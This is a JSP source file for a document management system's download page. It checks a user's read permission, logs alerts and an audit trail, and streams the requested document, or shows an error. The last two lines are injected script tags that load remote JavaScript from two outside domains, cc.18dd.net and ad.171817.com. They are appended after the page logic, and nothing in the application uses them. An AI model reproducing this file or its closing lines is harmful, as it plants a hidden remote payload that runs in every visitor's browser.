<%
/*
 * @(#)FileDownload.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  FileDownload.jsp

  This class is used to retrieve the document content from http

  @author          Zoe Shum
  @company         DCIVision Limited
  @creation date   06/08/2003
  @version         $Revision: 1.28.4.3 $
*/
%><%@ page contentType="text/html;charset=UTF-8"%><%@page import="com.dcivision.dms.core.ZipDownloader"
%><%@page import="java.io.*"
%><%@page import="java.sql.*"
%><%@page import="java.net.URLConnection"
%><%@page import="java.net.URLDecoder"
%><%@page import="javax.sql.*"
%><%@page import="java.util.*"
%><%@page import="com.dcivision.framework.*"
%><%@page import="com.dcivision.dms.*"
%><%@page import="com.dcivision.dms.bean.*"
%><%@page import="com.dcivision.dms.core.*"
%><%@page import="com.dcivision.dms.dao.*"
%><%@page import="com.dcivision.alert.bean.*"
%><%@page import="com.dcivision.alert.core.*"
%><%@page import="com.dcivision.audit.*"
%><%@page import="com.dcivision.audit.bean.*"
%><%@page import="com.dcivision.audit.core.*"
%><%@page import="org.apache.struts.action.Action"
%><%@ page import="org.apache.commons.logging.LogFactory"
%><%@ taglib uri="/tags/struts-html" prefix="html"
%><%@ taglib uri="/tags/struts-bean" prefix="bean"
%><%@ taglib uri="/tags/struts-logic" prefix="logic"
%><jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/><%
// Retrieval Document ID and its Version ID
Integer targetID = TextUtility.parseIntegerObj(request.getParameter("targetID"));
String version = request.getParameter("version");
Integer versionID = new Integer (1);
boolean isDownload = "Y".equals(request.getParameter("isDownload"));
String permission="";
boolean invitationOverwrite = SystemParameterFactory.getSystemParameterBoolean(SystemParameterConstant.DMS_INVITATION_OVERWRITE_STANDARD);
InputStream dataStream = null;
Connection conn = null;
try {
  conn = DataSourceFactory.getConnection();
  DocumentRetrievalManager docRetrievalManager = new DocumentRetrievalManager(sessionContainer, conn);
  MtmDocumentRelationshipDAObject docRelationshipDAO = new MtmDocumentRelationshipDAObject(sessionContainer, conn);
  AlertManager alertManager = new AlertManager(sessionContainer, conn);

  String documentType = request.getParameter("documentType");

  String systemLogID =request.getParameter("systemLogID");
  if (!Utility.isEmpty(systemLogID)){
    alertManager.updateReadOperationLog(TextUtility.parseIntegerObj(systemLogID));
  }

  if(DmsDocument.DOCUMENT_LINK.equals(documentType)){
    targetID= docRelationshipDAO.getTargetDocIDByRelatedDocID(TextUtility.parseIntegerObj(request.getParameter("targetID")),documentType);
  }

  String name = "";
  DmsDocument document = (DmsDocument) docRetrievalManager.getDocument(targetID);
  DmsVersion dmsVersion = new DmsVersion();
  Integer contentID = new Integer(0);
  if (!Utility.isEmpty(version) && !DmsOperationConstant.DMS_TOP_VERSION.equals(version)) {
    versionID = TextUtility.parseIntegerObj(version);
    dmsVersion = (DmsVersion)docRetrievalManager.getVersionByVersionID(versionID);
    contentID = dmsVersion.getContentID();
  } else if (DmsOperationConstant.DMS_TOP_VERSION.equals(version)) {
    dmsVersion = (DmsVersion)docRetrievalManager.getTopVersionByDocumentID(targetID);
    contentID = dmsVersion.getContentID();
  }

  /* Check for Alert, audit trail */

  //Alert Manager
  AdapterMaster am = AdapterMasterFactory.getAdapterMaster(sessionContainer, conn);
  DmsDocument parentDoc = (DmsDocument) docRetrievalManager.getDocument(document.getParentID());
  permission = sessionContainer.getPermissionManager().getPermission(conn,GlobalConstant.OBJECT_TYPE_DOCUMENT, document.getID());

  try {
    LogFactory.getLog(this.getClass()).debug("call AM!!!!!");
    LogFactory.getLog(this.getClass()).debug("newDmsDocument.getDocumentName() is " + document.getDocumentName());
    am.call(UpdateAlert.DOCUMENT_TYPE, document.getID(), UpdateAlert.VIEW_ACTION,
    document.getDocumentName(), null, null, null );
    LogFactory.getLog(this.getClass()).debug("parentDoc.getDocumentName() is " + parentDoc.getDocumentName());
    am.call(UpdateAlert.DOCUMENT_TYPE, parentDoc.getID(), UpdateAlert.VIEW_ACTION, document.getDocumentName(), null, null, null, document.getID() );
    if(docRetrievalManager.hasRelationship(document.getID(),null)){
	  List relationList=(List)docRelationshipDAO.getListByIDRelationType(document.getID(),null);
	  List inRelationList=(List)docRelationshipDAO.getListByRelationIDRelationType(document.getID(),null);
	  List alertList=new ArrayList();
	  if(!Utility.isEmpty(relationList)){
		for(int i=0;i<relationList.size();i++){
           alertList = alertManager.listUpdateAlertByObjectTypeObjectIDAndAction(UpdateAlert.DOCUMENT_TYPE,((MtmDocumentRelationship)relationList.get(i)).getDocumentID(),UpdateAlert.MODIFY_RELATED_DOC);
		  if(!Utility.isEmpty(alertList)){
			am.call(UpdateAlert.DOCUMENT_TYPE,((MtmDocumentRelationship)relationList.get(i)).getDocumentID(),UpdateAlert.MODIFY_RELATED_DOC,document.getDocumentName(),
	           null,null,null,document.getID());
		  }
        }
	  }
	  if(!Utility.isEmpty(inRelationList)){
		 for(int i=0;i<inRelationList.size();i++){
		  alertList= alertManager.listUpdateAlertByObjectTypeObjectIDAndAction(UpdateAlert.DOCUMENT_TYPE,((MtmDocumentRelationship)inRelationList.get(i)).getRelatedDocumentID(),UpdateAlert.MODIFY_RELATED_DOC);
		  if(!Utility.isEmpty(alertList)){
			 am.call(UpdateAlert.DOCUMENT_TYPE,((MtmDocumentRelationship)inRelationList.get(i)).getRelatedDocumentID(),UpdateAlert.MODIFY_RELATED_DOC,document.getDocumentName(),
	           null,null,null,document.getID());
		  }
		}
	  }
	}
    LogFactory.getLog(this.getClass()).debug("finished AM!!!!!");
  }
  catch (Exception e) {
    LogFactory.getLog(this.getClass()).error(e, e);
  }

  // log down in audit trail
  AuditTrailManager auditManager = new AuditTrailManager(sessionContainer, conn);
  if (sessionContainer.getUserRecordID()!=null)
    auditManager.auditTrail(GlobalConstant.OBJECT_TYPE_DOCUMENT, document, AuditTrailConstant.ACCESS_TYPE_VIEW, dmsVersion.getVersionNumber());

  conn.commit();
  /* End for the alert and audit trail handling */



  /* Check for document link download */
  if (DmsDocument.DOCUMENT_LINK.equals(document.getDocumentType())){
    Integer targetDocID = (Integer) docRelationshipDAO.getTargetDocIDByRelatedDocID(document.getID(), document.getDocumentType());
    DmsDocument targetDoc = (DmsDocument)docRetrievalManager.getDocument(targetDocID);
    permission = sessionContainer.getPermissionManager().getPermission(conn, GlobalConstant.OBJECT_TYPE_DOCUMENT, targetDoc.getID());

    /* Used to update the doc link name and type; Wont infulence the getDocumentProfileInfo() */
    if (targetDoc!=null) {
      targetDoc.setDocumentName(document.getDocumentName());
      targetDoc.setDocumentType(document.getDocumentType());
      //update the doc ID for shortcut linkage
      targetID = targetDocID;
      document = targetDoc;

      //update the real link document version
      dmsVersion = (DmsVersion)docRetrievalManager.getTopVersionByDocumentID(targetID);
      contentID = dmsVersion.getContentID();
    } else {
      document.setRecordStatus(GlobalConstant.RECORD_STATUS_INACTIVE);
    }
  }
  /*End the Document link download handling */

  //Check for deleted document and return the error message on JSP
  if ( (!GlobalConstant.RECORD_STATUS_INACTIVE.equals(document.getRecordStatus()) &&
       permission.indexOf("R")>=0 )|| invitationOverwrite) {
    name = document.getDocumentName();
    name = TextUtility.getURLEncodeInUTF8(document.getDocumentName());

    DmsContent docContent = (DmsContent)docRetrievalManager.getContentByContentID(contentID);
    String converted = (String) URLDecoder.decode(docContent.getConvertedName(), "UTF-8");

    DmsContentStoreHandler contentStoreHandler = null;
    try {
      contentStoreHandler = (DmsContentStoreHandler)Class.forName(SystemParameterFactory.getSystemParameter(SystemParameterConstant.DMS_CONTENT_STORE_CLASS)).newInstance();
    } catch (Exception e) {
      throw new ApplicationException(DmsErrorConstant.NAME_CONVERTOR_CLASS_NOT_FOUND);
    }

    contentStoreHandler.setProperty(DmsContentStoreHandler.FILE_NAME_PROPERTY, converted);
    String foldersDir = docRetrievalManager.getFoldersDirectories(document).toString();
    contentStoreHandler.setProperty(DmsContentStoreHandler.FILE_PHYSICAL_PATH, foldersDir);

    dataStream = contentStoreHandler.readStream();

    ZipDownloader fd = new ZipDownloader();
    String fName = document.getDocumentName(); 
	//barbin 2006-5-24
	if (fName.indexOf(".") > 0) {
      fName = fName.substring(0,fName.indexOf(".")+1);
    }       
    if (!Utility.isEmpty(docContent.getExt())) {
      fName = fName + docContent.getExt().toLowerCase();
    }
        //fName = TextUtility.getURLEncodeInUTF8(fName);
    fd.setInnerFilename(fName);   
		//Update By Jim Zhou		2006/10/17		EIP-388
		/*
		 * Update Code Start
		 * Author			Jim.Zhou
		 * Date			2006/04/12
		 * Bug			#4820
		 */
		//fd.setZipEncoding(docRetrievalManager.getZipFileDefaultEncode());
		/*
		 * Update Code End
		 */    
		fd.setFileName(name);
    fd.setInputStream(dataStream);
    fd.setRequest(request);
    fd.setResponse(response);
    fd.operate();
  } else if (permission.indexOf("R")<0) {
      //Output the error message for no permission
      out.println("<script language=\"javascript\">");
      out.println("function callReferrer(url){");
      out.println("    if (url ==''){history.back();}else{ ");
      out.println("    window.location.href = url;} ");
      out.println("    return false; ");
      out.println("}");
      out.println("</script>");

      out.println("<table cellpadding=\"20\" cellspacing=\"0\" border=\"0\" width=\"100%\"><tr><td>");
      out.println("<!-- Error Messages -->");
      out.println("<table cellpadding=\"0\" cellspacing=\"0\" border=\"0\" width=\"100%\"><tr><td>");
      out.println("<UL TYPE=\"square\" style=\"color:#FF0000;font-weight:bold\">");
      out.println("<LI> " + MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "errors.dms.have_no_permissionon_target_file"));
      out.println("</LI></UL>");
      out.println("</td></tr><tr><td>");
      if (isDownload==true){
%>
  		<html:standardButton label="common.label.back" onClick="return callReferrer(document.referrer);"/>
<%          
      } else {
%>
  		<html:standardButton label="common.label.close" onClick="window.close();"/>
<%
      }
      out.println("</td></tr></table>");
  } else {
      //Output the error message for record not found
      out.println("<script language=\"javascript\">");
      out.println("function callReferrer(url){");
      out.println("    if (url ==''){history.back();}else{ ");
      out.println("    window.location.href = url;} ");
      out.println("    return false; ");
      out.println("}");
      out.println("</script>");

      out.println("<table cellpadding=\"20\" cellspacing=\"0\" border=\"0\" width=\"100%\"><tr><td>");
      out.println("<!-- Error Messages -->");
      out.println("<table cellpadding=\"0\" cellspacing=\"0\" border=\"0\" width=\"100%\"><tr><td>");
      out.println("<UL TYPE=\"square\" style=\"color:#FF0000;font-weight:bold\">");
      out.println("<LI> " + MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "errors.framework.file_is_deleted"));
      out.println("</LI></UL>");
      out.println("</td></tr><tr><td>");
      if (isDownload==true){
%>
  		<html:standardButton label="common.label.back" onClick="return callReferrer(document.referrer);"/>
<%          
	  } else {
%>
  		<html:standardButton label="common.label.close" onClick="window.close();"/>
<%
      }
      out.println("</td></tr></table>");
  }
}
catch (Exception e) {
  LogFactory.getLog(this.getClass()).error(e, e);
}
finally {
  try { dataStream.close(); } catch (Exception ignore) {} finally { dataStream = null; }
  try { conn.close(); } catch (Exception ignore) {} finally { conn = null; }
}
%>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>